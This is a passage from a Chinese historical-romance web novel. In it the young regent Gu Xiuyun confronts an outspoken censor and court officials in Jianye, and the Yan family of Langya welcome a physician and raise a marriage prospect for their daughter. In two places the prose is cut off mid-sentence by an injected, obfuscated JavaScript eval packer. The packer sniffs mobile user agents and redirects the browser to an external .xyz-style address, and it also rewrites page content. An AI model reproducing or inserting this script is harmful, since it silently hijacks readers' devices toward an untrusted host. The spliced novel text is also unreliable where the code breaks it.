《台城春暖》 1. 弄风云 年节刚过,建邺便纷纷扬扬下了场雪。 城墙上的龙头覆上薄薄一层白霜,远远望去倒为巍峨耸立的城门增添了些许素雅。几根枯树枝像是信笔勾画而出,点缀在灰蒙蒙的天空下,偶有寒鸦飞过,落在轻颤的树梢上,如同旧宣纸上绘山水,工笔水墨,江南如画。 巍巍帝都,浓烟雾霭下是掩不住的繁华。 “这建邺倒难得下场雪。” 一位长髯灰白的老先生背了个药箱,沿着秦淮河慢悠悠地向城内走。他虽穿着朴素却并不寒酸,身旁还跟着一个书生打扮的少年郎,同样是一身葛布麻衣,看上去约莫十三四岁的样子,身上背着个行囊。 少年尚未开口,便打了个喷嚏出来。老先生斜睨他一眼,哈哈一笑。 “建邺虽在江南,冬日里却也不比南越温暖。” 少年搓了搓手,鼻音略重,口音也略重,“江南景色宜人,我愿同先生来此。” 这一路没少见识到他的决心,老先生习以为常,忽见前方官道上人头攒动,正围在一起看什么热闹,竟将可并行数驾犊车的宽道也围得水泄不通。老先生大手一挥,“走,去看看。” 路中央停着一架轺车,一个身穿六品官袍的中年人拦在车前,梗着脖子慷慨陈词,“……故而还请司徒回禀圣上,即刻复印开朝!” 一个着朱红窄袖素袍的武官抱臂倚在车辕上,单看背影都能看出他没什么耐性,看来两人僵持已久。 “休沐日还着官服,郑公当真勤勉啊。”他闲闲一笑,“郑公既要见天子,合该是递了名贴去台城求见,在这拦我家郎主又有何用。我说过了,我家郎主此刻去尚书台是有要事相商,这寒冬腊月的,郑公不惧严寒,难道也让诸曹尚书在官署久候吗?” “我身为侍御史,理当为圣上纠举百官,肃正纲纪!岳将军,你休要给我扣上不敬上官的帽子!” “你敬上官?”岳陆陡然一喝,“那你此刻拦在此处又是在做什么!难道顾司徒就不是你的上官了!” 郑墉一时语塞,他伶俐不足,耿直有余,辩起口才来连个武官都不如,一张老脸涨得通红,索性往地上一躺,将官帽抱在怀中,便开始捶胸嚎哭。 “苍天无眼,竟叫这无德小儿把持朝政,天要亡我啊……” 哭喊声惊天动地,引得更多过路人围观。 京城之中常有政见不合的两方当街对峙,百姓早已习惯,时下刚过上元日,还在旬假中,升斗小民闲来无事,正愁无人贡献茶余饭后的谈资,听到动静纷纷出来看热闹,认识的、不认识的三三两两聚在一堆议论几句。 “瞧见了没,这是狗仗人势,顾司徒都不必出声,自有底下人去替他卖命!” “权势滔天,谁人不怕?毕竟这位当年连弑君都做得出,如今区区一个六品寒门小官,对他来说不过蝼蚁!” “弑君”二字一出,那人忽觉有冰冷的目光杀了过来。 旁边人却未觉有异,仍侃侃而谈,“郑公忒也固执,可到底忠肝义胆,顾司徒若真胆敢这般行事,岂非背上奸佞之名?” “他顾修昀本也不是什么忠义之臣!” “哎唷,这话可不敢乱说,这位的手段你我可都是见识过的,年前许家不就……” 议论声在车帘被掀起时戛然而止,一只手从车内探出来。 那只手骨节分明,虽然修长,却不似时人追捧的那般白皙柔嫩。拇指上嵌套了只金镶绿松石指环,平添几分文雅,却仍掩不住那股杀伐之气,仿佛这只手不该在这秦淮之畔拨弄风云,而是该握一把长戟,在刀光剑影中劈杀。 周围人声渐绝,郑墉亦有所感,勾首见司徒似有动作,还以为是自己的一番痛哭流涕令他生惧,便一骨碌爬起来,将先前那番话又慷慨陈词一遍。 车中之人并未打断,好似浑不在意,却颇有耐心地听他说完,才唤了声“岳陆”,嗓音低沉,金声玉振。 岳陆一改方才的漫不经心,整肃衣冠,立在车下,“郎主。” “御史台今年的岁末考评是谁复核批准的?” 不防他问这个,岳陆一愣,“郎主容禀,因年前梁家与司空缔姻,梁中丞整个腊月都在休婚假,名册还在梁中丞手中,尚未递送吏部。” 车中之人没再言语,却将车帘撩得更高,微微侧首,向外探望,如此一来,侧颜便显于人前。 弘生随着先生在挤挤挨挨的人群中引颈仰望,只见车中坐着个萧萧肃肃的年轻郎君,身披鹤氅,头顶玉冠,剑眉微敛,鼻梁高挺,一双眼像高山中一湾冷清的湖泊,透着凛冽的风,教人忍不住胆寒。 他只打量了一眼,似乎想要认一认郑墉的相貌,旋即便收回了视线和那只手。车帘微动,阻挡了众人探究的目光。 岳陆却明白自家郎主的意思,他跳上车辕,抽出腰间别着的马鞭,甩在马臀上,似是郑墉此人忽然间消失了一般,目不斜视,驭马径直朝着郑墉而去。 郑墉下意识的侧身避让,等他反应过来时,岳陆已经驱车扬长而去了。 他一大早便在司徒府外徘徊,在寒气透骨的秦淮河畔等到午后才等来司徒的身影,对方却对他视而不见,这是何等的辱蔑!他颤抖着手,愤怒痛斥。 “顾修昀!六年前你和你父率兵谋逆,直捣建邺帝都,闯宫弑君,以致改朝换代!而今天子尚未弱冠,难道你还想一手遮天,逼退崇政殿新主吗!” 可那轺车的背影和车中男子的眼神一样淡漠,任凭郑墉在后面如何怒号,就是不肯停下。 “逆贼,逆贼啊!” 人群渐渐散了,灰髯的老先生摸摸胡须,正待要走,忽见身边的少年望着轺车消失的方向若有所思。 “在想什么?” 少年眼中难掩钦慕,“这位便是顾司徒了?我在南越时有所耳闻,没想到才至建邺便有缘得见。” 老先生一笑,“这可是帝都建邺,天下名流英豪皆汇集于此。” “只是不想顾司徒竟是如此年轻。” 老先生也眯眼往那方向看了看,却又似在透过尘烟看向虚无。 “没记错的话,顾司徒今年该是二十有三了吧。” 弘生肃然起敬,“顾司徒年少有为,想我二十三岁时,该当不会有如此成就。” 老先生哈哈大笑,“弘生,你不必妄自菲薄。” 他的目光忽而变得悠远。 “这个世上,能有几个顾修昀呢。” ———— 顾修昀坐在宽敞的轺车中,正闭目养神。他的模样瞧着安详,内心却如熊熊烈火般灼烧着。 一闭上眼,仿佛就能看到当年的场景—— 大漠深处风卷狼烟,虽已至阳春三月,关外的风仍然冷冽刺骨。他收紧马缰,远远望着长城烽燧上摇曳的星点火光。 他眼前是雄伟的武威郡城,这是河西四郡的最后一关,入了郡城,穿过乌鞘岭,离开凉州,中原便尽收眼底。 秦川中,血没腕,唯有凉州倚柱观。 耳边簌簌的风声越来越尖利,砂砾被甩在铠甲上便没了声息。狼烟点起的烽火一处接着一处的被熄灭,眼看只剩三两点,他侧头望向他的父亲。 顾行之目光坚定,他并不知道眼前的城门打开后,他将会面临什么。 “开城门——” 旌旗开始翻动,铁索吊着桥板缓慢放下,顾修昀一扬马鞭,跟在阿父身后。马蹄铁踏在木桥上,行得稳健,一下一下,也踩在他心里。风声呼啸,却没能吹熄他心中的火焰。 先遣部队率先进入瓮城,风声被阻拦在数尺厚的城墙外,瓮城之内静得出奇,本该在内城门处列队迎接的凉州刺史却不见踪影,本该站满降臣的瓮城也空无一人。 不对劲。 忽听一声清脆长啸,一支冷箭破空而来,尖锐的划破平静云霄,直直落在眼前,似是在挑衅。 “顾行之!你附逆为奸,罪不可恕!”高处传来一声怒吼,顾修昀倏然回头。 本该率部缴械的凉州刺史此刻正全副武装地站在城头,他旁边站着一人,那是武威太守许钧。随着许钧一声令下,墙头密密麻麻出现了一排银甲,细看之下,竟是无数弓箭手,正弯弓搭箭,瞄准了他们父子二人。 “无耻小人!”顾行之一声暴喝,回手从箭囊中取出三支羽箭,将弓拉满,向上射去,顾修昀和身边几个副将也反应迅速。 可他们速度再快,终究敌不过早有准备的弓箭手。细密的箭雨中,顾修昀看到周围人一个一个地倒下,而原本在旁侧的顾行之却忽然到了近前,冷光一闪,挥剑为他拦下了直飞而来的几丛羽箭,却也不受控制的跟着倒了下去。 “阿父!” “郎君,我们到了。”岳陆的声音从外面传进来,将他的思绪从血腥黄沙拉回温软江南。他掀开帘子向外望去,三台五省俱在眼前。 顾修昀盯着看了一会儿,一言不发。 入京两载有余,往事恍若前尘,可他却从未忘记,他也曾是扬鞭催马的恣意少年,也曾千里奔袭,斩敌于马下。 ———— 元月虽未过,政事却不可耽搁。 尚书台中,几位紫袍高官正聚首。右侧以尚书令陆丰为首,下首依次是尚书右仆射/颜焕、祠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286334|182612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部尚书柳文宣,五兵尚书孙迁。左侧则以太傅颜炳为首,下首是中书令柳峘和廷尉正冯益。他们彼此小声交谈着,间或望向上首空置的座位,他们在等着尚书台中,或者说整个建邺城中唯一能坐在那个位置的人,亦即是他们共同的上官。 元月本不必理政事的,但自从这位顾司徒把持朝政以来,勤勉之风吹遍三台五省,因他加录尚书事,尚书台中人感触尤深,不少人暗中腹诽。 “这都几时了,司徒莫不是爽约了?”冯益瞥了眼莲漏,悄声和旁边传令官抱怨。 传令官哪敢接这话,只露出个苦笑的神情,两道粗眉挑成八字。 “司徒、录尚书事、侍中顾修昀到——” 阍人的通传打断了堂内的议论,众人纷纷整肃衣冠,起身相迎。 顾修昀自门外阔步而来。 “适才途中有事耽搁了,诸公见谅。” 尚书令陆丰一拱手,“岂敢。” 顾修昀解下鹤氅,跽坐在上首的乌木案后。 几人各有各的事要奏,却都不愿首当其冲,一个个回头看过去,视线落到站在末位的冯益身上,直将冯益盯得汗流浃背。 堂上诸人之所以皆着紫袍,不全是因为他们能力出众,而是他们都有着威震四方的姓氏。 朝廷南渡以来,皇权式微,萧氏皇族被士族托举已有百年,随之南渡的侨姓士族与吴地士族你方唱罢我登场,到如今仍有几姓繁盛,这几族中人在建邺可谓是呼风唤雨。 呼风唤雨之人在今日堂上便占了多半。 冯益是有自知之明的,膏粱子弟自恃身份,不肯做出头鸟,几人中只有他和五兵尚书孙迁出身庶族,自然该他来打头阵。 于是他递上文书,牙一咬,心一横,高声道:“凉州刺史许钧谋逆之事已审结,许氏一族收押廷尉狱,廷尉呈上奏报,待司徒示下!” 数道视线汇集在顾修昀面上,似乎想从中探出一丝情绪,却见他微垂着眼,从传令官手中接过冯益的奏折,辨不出喜怒。 武威太守许钧,调任武威不过两载便立下奇功,擢升为凉州刺史。先帝虽深恨他杀昔日好友,却念他稳定边境有功,并未将他贬黜。谁知先帝驾鹤未至三载,许钧便于去岁冬月,于边地凉州起兵,意图窃夺天下。 一朝东窗事发,阖族锒铛入狱,本以为新岁来临之际能进驻建邺台城,却不想尚未进入两京古道,便被雍州军灭于渭水畔,赶在元日之前投下廷尉狱。 消息传到建邺台城,一众已然准备过年的朝臣震惊不已,许钧被押解进京不出一刻钟,司徒顾修昀不顾群臣劝阻,提着剑一言不发去了廷尉狱,不过一盏茶的时间便出来了。他离开时,许钧的头颅滚落到地上,鲜血还未流干。翌日朝会,御史台的一众侍御史斥他目无法纪时,他也只是淡淡地说了句:“他早该死。” 谁人不知,许钧所立奇功,便是将眼前这位顾司徒先父剿杀于武威郡城之下。 杀父之仇岂能不报,冯益将心比心,倒是很理解顾司徒。但顾司徒提着剑取许钧首级那日,他就站在一旁,许钧上一刻还满嘴喷沫地挑衅,下一刻那张脸便颠倒了首尾滚落到尘埃里,这一幕的冲击力是此生都难以忘怀的程度,令他在燃着炭盆,暖意融融的尚书台中感到阵阵寒意。 许钧未经审讯便被顾修昀私刑了结,冯益只得审问许氏族人。顾修昀正看着冯益写的折子,细数了许钧已查证的罪行,抄没了许氏为数不多的薄产,一桩一件,条理清晰,证据确凿。 他对许氏的判决倒也简单,“打入奴籍,送去平城。” 冯益抖了一抖,送平城,入奴籍,什么意思?给鲜卑人当牛做马的意思! 要知道如今建邺城里这些士族便是在百余年前被黄发鲜卑郎驱赶到江南的,虽然时下中州已收复,但汉人对鲜卑人的仇恨仍不能尽消。而顾司徒轻轻一句话,便将黑发儿郎送去给仇敌做奴做婢,这可是奇耻大辱。 书吏在旁抄录司徒言行,听到这句,也抖了一下,抬起头,惊诧地看向上首之人,迟迟没有落笔。 书吏只做笔录文书工作,在台省里只算得上是个人形笔杆子,不该有七情六欲的,更不该质疑长官决断,他此番可犯了大忌。右仆射/颜焕离得最近,趁着冯益正在追问细则,皱眉低声提醒了一句,不料对方却更加义愤填膺。 “许氏不过是效仿司徒当日所为,今日之许氏,便是六年前之顾氏!若是因谋逆就要对许氏施以重刑,那该受罚的又何止许氏!” 他说这话时声音并不大,但话音刚落,冯益恰止住了话头,原本还有些议论声的堂上顿时鸦雀无声。 2. 琅琊颜 顾修昀掀起眼皮扫视过来,那书吏登时膝下一软,“噗通”一声伏地求饶。 “司徒息怒!下官因家中妻子有孕,不忍见此刑罚,并非有意,还请司徒恕罪!” 尚书台中人犯了事,自该尚书令出来顶罪。陆丰长揖,“臣有罪,未能约束下官,是臣失察,请司徒一并责罚。” 然而他虽是请罪,却并未同书吏一道跪下,长揖之后便直起了身,是谓名士风度。 冯益在后面擦汗,在这剑拔弩张的气氛中,见陆尚书不跪,比让他替陆尚书跪下都难受。不禁暗恨自己到底出身寒门,学不来陆尚书的从容。 难捱的长久沉默里,顾修昀淡然收回视线,仿佛无事发生,将文书往乌木案上一丢,继续着方才与冯益所谈之事。 “且让他们在廷尉狱待几日,过了二月初七再上路。” 他不说平身,没人敢为书吏说话。陆丰有心解围,听到二月初七,微微侧身,示意祠部尚书柳文宣一眼。 柳文宣呈上奏折,“祠部已拟定太后寿宴细则,请司徒过目。” 二月初七是太后生辰,寿宴安排年年如此,今年也无特殊之处,照章办事罢了,无需详阅,顾修昀一目十行的看完,便交到中书令柳峘手上,这意思是可以起草诏令了。 孙迁落在最后,待周围人将各自的事务都汇报完了,这才呈上手中军报。 “禀司徒,年前怀远军大营送来军报,今日晨起刚递到五兵部,请司徒过目!” 听到“怀远军”三个字,顾修昀目光一顿,面上却无太多波澜,接过来略略扫了一眼,“西凉王铁木易上月在宫中暴毙,王四子寒祁继位。” 颜焕不解,“这个寒祁做王子时并不十分出彩,还曾在凉州做过六年质子,为何会传位于他?” 顾修昀道:“寒祁生性懦弱,胆小怕事,素来对铁木易言听计从。铁木易根基未稳时不得已将他送到我朝为质,心中有愧,传位于寒祁倒也并不奇怪。” 太傅颜炳皱眉,“铁木易正值壮年,忽然暴毙,应当也是另有隐情罢。” 顾修昀颔首,“西凉王室内斗不断,祸起萧墙是迟早的事。” 陆丰道:“既然如此,边境他日必定祸起,我们还应早日整肃边境,以备后患。” 顾修昀却道:“此事无需太着急。” 众人不解。 “西凉王军主力六年前一战便已损失殆尽,余下的几营战力不强,王军内斗,军中无人管辖,成不了气候。”顾修昀淡然道,“虽如此,但我们亦不能轻敌。他们自顾不暇,倒是给了我们整肃边防的先机。” 这堂上没有人比顾修昀更了解西凉,听了他这话,众人便不再探问。 顾修昀正待起身离开,似是才注意到地上还跪着一人,复又坐下,随手一指。 “你,起来。” 书吏伏着身,额头贴在青石砖上,半晌没动。实在蠢笨!冯益趁众人不察,偷偷踹了他一脚,他才晓得磕头。 “司徒恕罪!” 顾修昀却不像是要降罪的样子,神色冷静,声音平淡,“你去御史台给梁中丞传个话,岁末考评中若有一个叫郑墉的侍御史,我不认为他适合留在御史台。” 书吏脸色灰白,抖着嗓问道:“敢问司徒,若是梁中丞问起……” “那便告诉他,”顾修昀抬手一指,众人顺势望去,一眼便看到了站在门外的岳陆。 “他连岳陆都辩不过,如何做得侍御史?” * 皇城东南,秦淮河畔,虽紧临南市,却有一片闹中取静的街巷。青砖黛瓦错落有致,马头灰墙覆着薄雪,正是士族聚集处。 其中最宽的一条巷子,连外墙都是名贵繁复的浮雕花砖,巷口一排乌衣银甲的府兵把守,一条巷子只有两户人家,街头巷尾的瓦当飞甍上都刻着同一个字——颜。 一封信被送到太傅府西院的书房中。 “郎君,平湖来信。” 书房外正对着一片池塘,花格窗敞开着,将湿冷的水汽搅进温暖的居室中。 执笔描绘池上残荷的青年从桌案后面抬起头,他接过信,信封上行书飘逸潇洒。 “兄颜笙台启” 左下则是一排小字。 “平湖陆鸣渊” 这青年便是太傅颜炳的长子,出自当今天下第一门阀,是琅琊颜氏族中六郎,颜笙。 他拆开信封,取出几页黄麻纸,里面毫不意外地还嵌套着另一封信。待看清上面的字迹,颜笙唇边蕴出一缕笑意,递给送信的书童,“送去给十一娘吧。” 书童接过信,离开西院,向内院而去。 方行至垂花门边,便见几个侍女捧着冬衣路过,打头那个空着手的倒是眼熟,书童忙叫住她。 “染春娘子这是领了什么好东西回来?” 那少女回头,露出一张十分清秀的脸庞,见了来人,便笑道:“是茗生啊,这是我们娘子新制的冬装,才送过来的。” 茗生笑嘻嘻凑上去,“巧了不是,我正要去给十一娘送信呢。既如此,那就劳烦染春娘子代我跑这一趟了。” 染春笑着瞪他一眼,“算你赶得巧,拿来吧。” 江南地暖,即便在冬日,草木仍绿意盎然。迈过垂花门进入内院,顿时豁然开朗,几折回廊将池塘一分为二,靠近内院一侧,穿过一道花木掩映的月洞门,在一丛竹林后,便是一个二进院落。 院子里别有洞天,西侧一片粉墙白瓦,墙根下种了芭蕉,粉墙为纸,芭蕉做画,对侧便是厢房的西窗,天晴时推开菱花窗,就能看见一幅天然的水墨画。 此时西窗被支开了小小一条缝,隐约可见窗内摇曳的烛火。 院里有扫雪的小丫鬟,见染春回来,皆笑着问好。 厢房的帘子忽地从内被掀起,一个裹着毛茸茸圈领的侍女倚在门口,笑道:“才说着你也该回了,可巧就到了,快进来暖暖。” 染春走到廊下,向里张望了几眼,“娘子午歇醒了么?” “醒了醒了,正看书呢。进来先把氅衣脱了,别带了寒气冷到娘子。” 打起帘子,一阵暖意便往人身上钻,屋里炭盆烧得热腾腾的,温暖如春。 “娘子,太后寿宴那日的裙裳制好了,娘子要试试吗?” 天色阴沉,屋内点了灯。 眼前是一间宽敞的闺阁,布置得十分精致。正对着房门的北面以一座一人高的博古架隔开内外两间,博古架上摆放着各式各样的小摆件,架前是一张翘头檀木案,零零散散放了几卷简牍。靠东则立着一扇横跨内外间的画屏,屏风后是净房。 西边窗下一张软塌上,卧着个年轻女郎,她只穿了件素色单练衫,拥着手炉,将个话本子举在脸前。 “放在那儿吧。”女郎声音清脆。 染春笑道:“娘子又在看话本了,当心让郎君知道。” 话本后露出一张娇艳明媚的粉面,女郎斜倚在隐囊上,未束的青丝如瀑垂落,嘴角抿得紧紧的,将颊侧抿出浅浅两个梨涡,一双明亮杏眼却仿佛含了笑意,一副正义凛然的模样。 “阿兄是让我少看,可没说不许我看。况且,做学问哪能只看那些正经八百的圣贤书呢,那岂不是成了那等迂腐老学究啦?” 女郎虽是嗔怪的语气,但眉眼间并无愠色。她手中的暖炉将白净的面庞烤得红扑扑的,眉如远山含黛,目若春杏含露,面容纯净无瑕,似古画中的神女,但那双笼尽山间朦胧烟雨的杏眸却如画龙点睛一般,顾盼流转间,将神女带入凡尘。虽面带稚色,却已足见风姿。 这女郎唤作颜箫,乃是颜太傅嫡女,琅琊颜氏族中排行十一,人称颜十一娘。 “娘子这是又在话本中做学问了。” 先前随着染春一同进屋的侍女润秋正支起熏笼,闻听女郎这话笑道。 颜箫顺势放下话本,陷入沉思。 倒不是因为两个侍女说了什么,而是她方才午歇时又做了那个梦。 梦中的她大约十岁光景,随着父母兄长在浩浩荡荡的人流中穿过南篱门往城外走。 晃人的白昼中,她因饥饿有些体力不支,前面的人影越来越模糊。她不受控制的往后一倒,却被一支红缨枪挑了起来。 她下意识抬头望,眼前是一匹有她阿父那么高的血红骏马,上面坐了个比她阿兄大不了几岁的小郎君,正垂眸看她。 半晌,他从怀中摸出个散发着诱人香气的油纸包,弯腰递到她面前。 小郎君看不清面目,那个梦就此结束了。 她十岁那年京城确遭兵乱,但不知为何,三年前忽然有一日,她便断断续续做这样的梦。 可能当真是话本看多了。 “娘子还是看看这个吧。”染春将茗生给她的信交给颜箫,“西院送来的。” 与颜笙收到的不同,这封信上没有署名,只有称谓。 “吾妹阿箫玉展” 颜箫拆开信封,才看了开头一句,“盼眉目舒展,顺问冬安?”便弯起了眉眼。 熟悉的字迹,熟悉的问候,无需署名便知是谁。 染春和润秋见她神情,对视一眼,皆捂嘴偷笑。 染春接了信便知来信之人是谁,亦是位士族子弟,出自平湖陆氏,乃是尚书令陆丰次子,名唤陆鸣渊。陆鸣渊的姑母陆氏是尚书右仆□□焕之妻,便是颜炳的弟妇,陆颜两家关系甚密。 陆鸣渊明年便年满二十,将行冠礼,之后便要入仕,于是去岁他得了陆尚书的准许,留两年时间游历山川,这在世家之中并不少见。因而算起来,两人也已一年多未见了。 “明年清明一过,陆家阿兄便要回建邺了。”颜箫收起手中信笺。 “陆郎君回京,娘子可不必再担心了。”润秋打趣道。 颜箫扭过脸去不看她,“他身边跟着人,我担心什么。” 屋外有急促的脚步声,润秋走出去,过会儿又进来。 “娘子,陶先生到了,现下正在前院。” “到啦?”颜箫面带喜色,翻身下塌趿了屐,“更衣,我要去前院!” 染春忙上前替她更衣,润秋追在后面,“娘子莫急,陶先生才到,正安顿着,郎主也还未回府呢。” “阿父呢?” “郎主午食后便去了尚书台,还不知何时回来。” 颜箫正在换履,闻言拧眉,“这还未出元月,有什么天大的事要阿父亲自到尚书台去?莫不是鲜卑人攻进来了?” 两个侍女答不上话,颜箫叉着腰,只好道:“那我先去东院找阿娘。” 染春从熏笼上取了鹤氅给她披上,“外头冷,娘子多穿点。” * 颜家劳师动众翘首以盼的陶先生,是颜炳的故交,陶见山。 陶见山是何人?名满天下的杏林圣手,年轻时曾是军中的一名随行郎中,跟随军队走南闯北,见识过许多最为凶残的场面,也经历过一些不义之战,终觉救治贫苦百姓才是医者之根本,于是辞去官职,云游四方,济困扶贫,救人于水火。 行到蜀地时,与当时尚未入仕,游历在外的颜炳和檀家兄妹相识,虽陶见山与几人年岁相差甚远,却意外投缘,结成莫逆之交,共同遍访山川,结下深厚友谊。后来颜炳回到建邺,与檀氏成亲,他见证一段姻缘,还感叹自己竟早没察觉两人情谊。 如今檀氏怀胎已有七月,颜炳深秋时便修书请陶见山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286335|182612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至建邺为檀氏调养,彼时陶见山正在南越游历,待收到消息,赶来京城时,已是过了年节了。 颜箫到东院时,颜夫人檀氏午歇刚起。 “阿娘!”颜箫刚跨进待客的外院就开始唤人,门口伫立的侍女打起帘子,颜箫进了屋,才看见颜笙也在。 “阿兄竟比我早!” 颜笙独坐一席,却在自己身边留了张空席,含笑看她跽坐在侧,“收到信了?” “收到了!” 檀氏身子重,早已跽坐不得,屋中专为她放置了软塌,后有凭几和隐囊,檀氏靠坐在卧榻上,身边两个侍女拿着绣捶给她捶腿,闻言问道:“什么信?” 颜笙答,“平湖来信。” 檀氏笑盈盈地望过来,却什么也没说,着人为颜箫看茶,又叮嘱屋内侍女将银炭烧得旺些,以免颜箫受凉。 她保养得宜,虽已年近四十,却丽色犹存,丝毫看不出已有了两个孩子,便是如今怀着身孕,也是身量匀称,除了腹部以外并未见圆润。 母子三人才刚喝了半盏茶,说笑了几句,檀氏身边的侍女翠竹便走了进来,说颜炳已归,此刻正在内院更衣,陶先生也正往东院来。 “阿父才从尚书台回来,可是出了什么事?”颜箫随口问道。 “倒也不是什么大事,只是顾司徒说元月中政事难免积压,便定了每十日在尚书台理政。”颜笙去岁入仕,在门下省任给事中,虽只是个闲职,但毕竟身在中枢,对于朝中动向了如指掌。 颜箫听见“顾司徒”三个字,丝毫不觉得意外。自从这位顾司徒两年前如天降神兵一般,自边地入京主政,以雷霆手段清除积弊陋习,京城里的变革十之八九皆与他有关。 据说这位是先帝旧人,与当今圣上亦亲如手足。圣上年幼,朝中有位能臣辅佐不是件坏事,只是—— “元月未出,他一人勤政足矣,阿父与他共列三公,却也要劳心劳力,累得阿娘有孕却要独自在家。” 她愤愤不平,檀氏却是一笑,“快些让你阿父出门去也好,免得他整日跟在我后面嘘寒问暖,叫我不得清静。” “夫人这话无情,叫人好生伤心!”门外传来朗笑声,却见颜炳和陶见山掀起竹帘走了进来。陶先生背着药箱,长髯灰白,身后还跟着个葛布麻衣的少年郎。 颜箫起身见礼,“阿父日安,陶先生日安。”到了少年跟前却停住了。 “这是我在南越收的弟子,叫他弘生便是。”陶见山笑答。 颜箫弯了弯眉眼,“弘生日安。”却见弘生面色微红,是这屋中太热了? 弘生瞧着有些拘谨,也学着她的样子道:“女郎日安。” 陶见山笑着望过来,“许久不见,十一娘长高了不少,有点小娘子的模样了。” 颜箫平日在家中排最末,可今日有个瞧着比她还小上几岁的弘生,便自觉是个大人了,“先生说笑了,我去岁便已及笄,早就是小娘子了。” 她说这话时,一本正经的神色中还带了些骄傲,众人忍俊不禁,连檀氏也抚着孕肚笑,“这促狭鬼,同她阿父一个样。” 颜炳冤得很,“夫人先时便说我絮叨,现下又说我促狭,好没道理!” 话虽如此,但看神色,却是丝毫不在意被自家娘子嫌弃,檀氏也不扭捏羞涩,斜睨他一眼,“油嘴滑舌的,岂不烦人?” 颜炳身为太傅,在朝堂上端得是稳如泰山,私下里却没那般古板。但当陶见山为檀氏诊脉时,却又敛容凝神,紧张不已,眼角眉梢都透着担忧。 陶见山诊过脉,又问过檀氏近日饮食及起居习惯,提笔写了张方子,“夫人这一胎,确实会比前两胎艰难一些。女子怀胎本就辛苦,随着年岁增长,生产的过程难免凶险。” 檀氏嗔了颜炳一眼。她出自高平檀家,是二品骠骑将军檀道胞妹,将门虎女,一向身强体壮,因而才冒险怀了第三胎。 “不过好在夫人身体底子好,从脉象上来看,目前并无不妥,生产前需留意食不过量,少思虑,多走动。”又示意弘生从药箱中取出他早已拟好的食疗方子和才写的药方一并交给檀氏,“这几幅安神药,夫人令人照着煎服即可。夫人放心,出月之前老夫都会在的。” 檀氏示意身边的侍女收下,虽不便起身,还是尽力坐直,行了一礼,“有劳陶先生了,这寒冬腊月,先生本该在南越过冬的,却因我之故劳烦先生来建邺。” 陶见山捋着胡须哈哈一笑,“方才还说夫人应当少思虑,我这郎中还没走,便不遵医嘱了?” 他知檀氏本不是瞻前顾后的性子,许是因为有孕在身,难免多思,因而直言,“夫人不必忧虑,我此番进京,也不止为这一件事。” 颜炳也道:“陶兄这回不急离京,且安心住着。” 檀氏不解,“这是为何?” 此事说起来,仍与那顾司徒脱不开干系。 朝廷南渡之时,朝局不稳,萧氏皇族依托着一同南渡的显赫士族才得以坐稳半壁江山。政权都建立得如此艰难,更遑论其他。因而初初南渡那几年,朝堂学政几乎荒废,中原文脉靠门阀典藏及族学得以延续,士族之中家塾兴盛,寒门子弟求学无门。 顾修昀任司徒后,有意削弱士族手中权力,于是停私学,兴官学,在太常下设国子学与太学两学府,由此竟兴起一阵学风,光禄勋下官医署也借此良机,广罗天下名医进京,为医者授课讲学。陶见山自南越到建邺的路上便听说了此事,也乐得将自己多年游历见闻授以年轻医者,因此这次打算在京城多停留些时日。 颜箫听在耳中,心里却不以为然。 这顾司徒还当真以为,凭他一人,便能将盘踞朝堂数百年的门阀连根拔起? 3. 暗流涌 颜炳和陶见山许久未见,兴致高涨,相约手谈,颜笙亦回了西院,只颜箫留在东院陪檀氏说话。 “阿娘可要休息?”颜箫见檀氏面有倦色,不免关切。 檀氏摇头,“方才歇了半晌,眼下倒不累,阿箫,扶我去院子里走走罢。” 东院的墙外便是颜府的内花园,颜箫不敢拉着檀氏往池边碎石子路上去,只在连廊下走走便是。 “锦堂今日新送来的冬衣,你可看过了?”檀氏忽问。 “方才着急往阿娘这来,尚未试过,”颜箫如实回答,“只大略看了眼,似乎颜色艳了些。” 她适合素净的颜色,但染春拿回来的那几套衣裙却各有各的鲜嫩。虽是为宫宴准备的衣裙,可也把她衬得太嫩了些。 檀氏含笑颔首,显然有意为之,颜箫忍不住发问,“今年的寿宴有何不同?” “肃王世子明年行冠礼,之后便要选妃,世子妃的人选今年便要敲定了。这事马虎不得,单是敲定人选就要从年头选到年尾。”顿了顿,“阿箫今年都十六了。” 颜箫本没觉得此事与自己有关,直到听到最后一句,才后知后觉地指了指自己,朱唇微张,“我?阿娘,我今年才十六。” 檀氏一拍她的手,“七娘十六岁便和崔氏定亲,你阿娘我十六便已嫁给你阿父,你便是从如今开始掌眼,也要明年才能成亲了。这般算来,是不是觉得也不算早了?” 七娘颜笳是颜箫的庶姐,年长她四岁,前些年嫁到清河崔氏。 “……可是,阿兄也尚未定亲啊。”颜笙比颜笳还大一岁呢,怎么没见他被催。 说起颜笙,檀氏柳眉一竖,显然也很头疼,“六郎主意拿的定,也不知是在等什么,随他去罢,左右也才二十一,男子倒没那么急。” 颜箫哑口无言。 琅琊颜氏不愁嫁女,只是嫁人一事,若是这样送上门去匹配家世门第,便是成了亲又有何意趣?若有机会,她还想…… 梦中那小郎君模糊不清的面容浮现在脑海中。 檀氏见她面色青一阵红一阵,欲言又止半晌,才憋出一句,“可是,肃王世子一向顽劣,女儿只怕所托非人,耽误终生。” 檀氏没有计较她这不怎么委婉的忤逆之言,而是思及前几日在茶肆遇见肃王妃时两人的谈话,“若是予琰当真选中了你呢?” “什么?”颜箫杏眸猛然睁大。 * 